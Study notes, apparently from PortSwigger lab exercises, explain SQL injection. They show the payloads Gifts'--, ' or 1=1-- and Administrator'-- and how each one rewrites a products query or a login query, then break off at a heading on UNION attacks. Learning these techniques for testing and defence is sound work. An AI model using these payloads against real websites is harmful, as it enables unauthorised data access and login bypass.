SQL injection - web app pentest - port swigger

Retrieving hidden data:

When we select category=Gifts from the web application/website, then the following query is run on the (sql) database. 

Select * from products where category='Gifts' and released = 1

All the released products will be shown. 

Now in the url if we give category=Gifts'-- 

Then the following query will run in database. 

Select * from products where category='Gifts'--' and released = 1

-- double dash means comment out. so '-- in the url will comment out rest of the command after Gifts which is --' and released = 1. Thus we have only category='Gifts'

Now the app will show us all the unreleased product too under Gift category. 

Now if you want to see all the products from all the category then do following in the url:

category=Gifts' or 1=1--

Select * from products where category='Gifts' or 1=1--' and released = 1

Now all the products from all the categories both released and unreleased will be shown. 

-----------------------------------------------------------------------------------------------------------------

Subverting application logic:

When you give username and password then the following query is sent to the database and generally application lets you in when there is a match on both fields.

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

But what if, when the application only checks the username field and lets you in when there is a match. 

In that case, we can by pass the application logic by simply do the following:

Username: Administrator'--

Password: (blank)

SELECT * FROM users WHERE username = 'Administrator'--' AND password = ''

Now in the where clause only username field will be checked. '-- will comment out rest of the command --' AND password = '' from the above query.

-----------------------------------------------------------------------------------------------------------------

 Retrieving data from other database table - Union attacks: